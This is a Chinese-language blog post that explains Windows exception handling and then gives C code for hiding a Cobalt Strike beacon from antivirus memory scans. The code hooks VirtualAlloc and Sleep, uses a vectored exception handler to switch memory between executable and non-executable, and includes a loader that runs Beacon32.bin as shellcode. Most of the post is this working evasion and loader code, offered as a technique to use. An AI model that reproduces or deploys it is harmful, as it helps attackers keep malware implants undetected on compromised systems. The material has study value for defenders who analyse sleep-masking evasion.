使用VEH进行内存对抗 |

windows异常处理Windows中主要的异常处理机制：VEH、SEH、C++EH。SEH中文全称：结构化异常处理。就是平时用的’__try’ ‘__finally’ ‘__try’ ‘__except’,是对c的扩展。VEH中…

windows异常处理

Windows中主要的异常处理机制：VEH、SEH、C++EH。

SEH中文全称：结构化异常处理。就是平时用的__try __finally __try __except,是对c的扩展。

VEH中文全称：向量异常处理。一般来说用AddVectoredExceptionHandler去添加一个异常处理函数，可以通过第一个参数决定是否将VEH函数插入到VEH链表头，插入到链表头的函数先执行，如果为1，则会最优先执行。

C++EH是C++提供的异常处理方式，执行顺序将排在最后。

在用户模式下发生异常时，异常处理分发函数在内部会先调用遍历 VEH 记录链表的函数，如果没有找到可以处理异常的注册函数，再开始遍历 SEH 注册链表。

Windows异常处理顺序流程

终止当前程序的执行
调试器(进程必须被调试,向调试器发送EXCEPTION_DEBUG_EVENT消息)
执行VEH
执行SEH
TopLevelEH(进程被调试时不会被执行)
执行VEH
交给调试器(上面的异常处理都说处理不了，就再次交给调试器)
调用异常端口通知csrss.exe

通过流程也可以看到VEH的执行顺序是要优于SEH的。

通过VEH异常处理规避内存扫描

当AV描扫进程空间的时候，并不会将所有的内存空间都扫描一遍，只会扫描敏感的内存区域。

所谓的敏感内存区域无非就是指可执行的区域。思路就是不断地改变某一块内存属性，当应该执行命令或者某些操作的时候，执行的内存属性是可执行的，当功能模块进入睡眠的时候则将内存属性改为不可执行。

当执行的地址空间为不可执行时，若强行执行则会返回0xc0000005异常，这个异常是指没有权限执行。所以通过VEH抓取这个异常，即可根据需求，动态的改变内存属性，进而逃避内存扫描。

当触发0xc0000005异常的时候需要恢复内存可执行属性，就通过AddVectoredExceptionHandler去注册一个异常处理函数，作用就是更改内存属性为可执行。那么就需要知道是哪一块地址需要修改，这里要根据申请空间API决定，如果是VirtualAlloc就hook VirtualAlloc，如果是其他申请空间API就hook其他API，这个根据具体的c2profile配置有关。如果不使用c2profile那么默认就是使用VirtualAlloc分配空间。这里先看一下hook VirtualAlloc，作用主要是为了读取起始地址和大小。

static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
unhookVirtualAlloc();
Beacon_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
hookVirtualAlloc();
printf("分配大小:%d", Beacon_len);
printf("分配地址:%x \n", Beacon_address);
return Beacon_address;
}
void hookVirtualAlloc() {
DWORD dwAllocOldProtect = NULL;
BYTE pAllocData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
//保存原来的硬编码
RtlCopyMemory(g_OldAlloc, OldVirtualAlloc, sizeof(pAllocData));
//计算偏移
DWORD dwAllocOffeset = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;
//得到完整的pAllocData
RtlCopyMemory(&pAllocData[1], &dwAllocOffeset, sizeof(dwAllocOffeset));
//改为可写属性
VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwAllocOldProtect);
//将偏移地址写入，跳转到新的
RtlCopyMemory(OldVirtualAlloc, pAllocData, sizeof(pAllocData));
//还原属性
VirtualProtect(OldVirtualAlloc, 5, dwAllocOldProtect, &dwAllocOldProtect);
}
void unhookVirtualAlloc() {
DWORD dwOldProtect = NULL;
VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwOldProtect);
//还原硬编码
RtlCopyMemory(OldVirtualAlloc, g_OldAlloc, sizeof(g_OldAlloc));
//还原属性
VirtualProtect(OldVirtualAlloc, 5, dwOldProtect, &dwOldProtect);
}

还有一个需要去hook的就是Sleep，因为需要在执行Sleep的时候就将功能模块的内存属性改为不可执行，规避内存扫描。

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds) {
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep时间:%d\n", dwMilliseconds);
unhookSleep();
OldSleep(dwMilliseconds);
hookSleep();
//解锁
SetEvent(hEvent);
}
void hookSleep() {
DWORD dwSleepOldProtect = NULL;
BYTE pSleepData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
//保存原来的硬编码
RtlCopyMemory(g_OldSleep, OldSleep, sizeof(pSleepData));
//计算偏移
DWORD dwSleepOffeset = (DWORD)NewSleep - (DWORD)OldSleep - 5;
//得到完整的pAllocData
RtlCopyMemory(&pSleepData[1], &dwSleepOffeset, sizeof(dwSleepOffeset));
//改为可写属性
VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &dwSleepOldProtect);
//将偏移地址写入，跳转到新的
RtlCopyMemory(OldSleep, pSleepData, sizeof(pSleepData));
//还原属性
VirtualProtect(OldSleep, 5, dwSleepOldProtect, &dwSleepOldProtect);
}
void unhookSleep() {
DWORD dwOldProtect = NULL;
VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//还原硬编码
RtlCopyMemory(OldSleep, g_OldSleep, sizeof(g_OldSleep));
//还原属性
VirtualProtect(OldSleep, 5, dwOldProtect, &dwOldProtect);
}

然后就是注册异常函数，这个异常函数就是为了恢复可执行内存属性。

is_Exception函数就是为了验证是不是在申请空间内的范围呢出现异常，而不是其他内存空间。

LONG NTAPI PvectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo){
printf("异常错误码:%x\n", ExceptionInfo->ExceptionRecord->ExceptionCode);
printf("线程地址:%lx\n", ExceptionInfo->ContextRecord->Eip);
if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip) {
printf("恢复可执行内存属性");
VirtualProtect(Beacon_address, Beacon_len, PAGE_EXECUTE_READWRITE, &Beacon_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}

起一个线程，让他不断地去等待Sleep函数通知，通知后就将内存空间重新设置为不可执行。线程控制的话就用到了事件。

DWORD WINAPI SetNoExecutable(LPVOID lpParameter) {
while (true)
{
//等待解锁
WaitForSingleObject(hEvent, INFINITE);
printf("设置Beacon内存属性不可执行\n");
VirtualProtect(Beacon_address, Beacon_len, PAGE_READWRITE, &Beacon_flOldProtect);
//设置事件为未被通知的，重新上锁
ResetEvent(hEvent);
}
}
int main()
{
//设置事件为有信号的，处于通知状态。
hEvent = CreateEvent(NULL,TRUE,false,NULL);
AddVectoredExceptionHandler(1, &PvectoredExceptionHandler);
hookVirtualAlloc();
hookSleep();
unsigned char* BinData = NULL;
size_t size = 0;
char* szFilePath = (char*)"Beacon32.bin";
BinData = ReadBinaryFile(szFilePath, &size);
shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(shellcode_addr, BinData, size);
VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_flOldProtect);
HANDLE hThread1 = CreateThread(NULL, 0, SetNoExecutable, NULL, 0, NULL);
CloseHandle(hThread1);
(*(int(*)()) shellcode_addr)();
}

这里有一个很混淆的地方：hook VirtualAlloc并不是去hook的上面这个我们自己调用的VirtualAlloc，这个是没有意义的。hook的是cs真正功能代码模块，他自己分配的内存地址才是真正的beacon代码地址，这里用下LN师傅的图。图中是stager分阶段的执行过程，如果是stagerless无阶段的执行过程也是差不多的，只不过没有远程去请求而是直接写在文件里。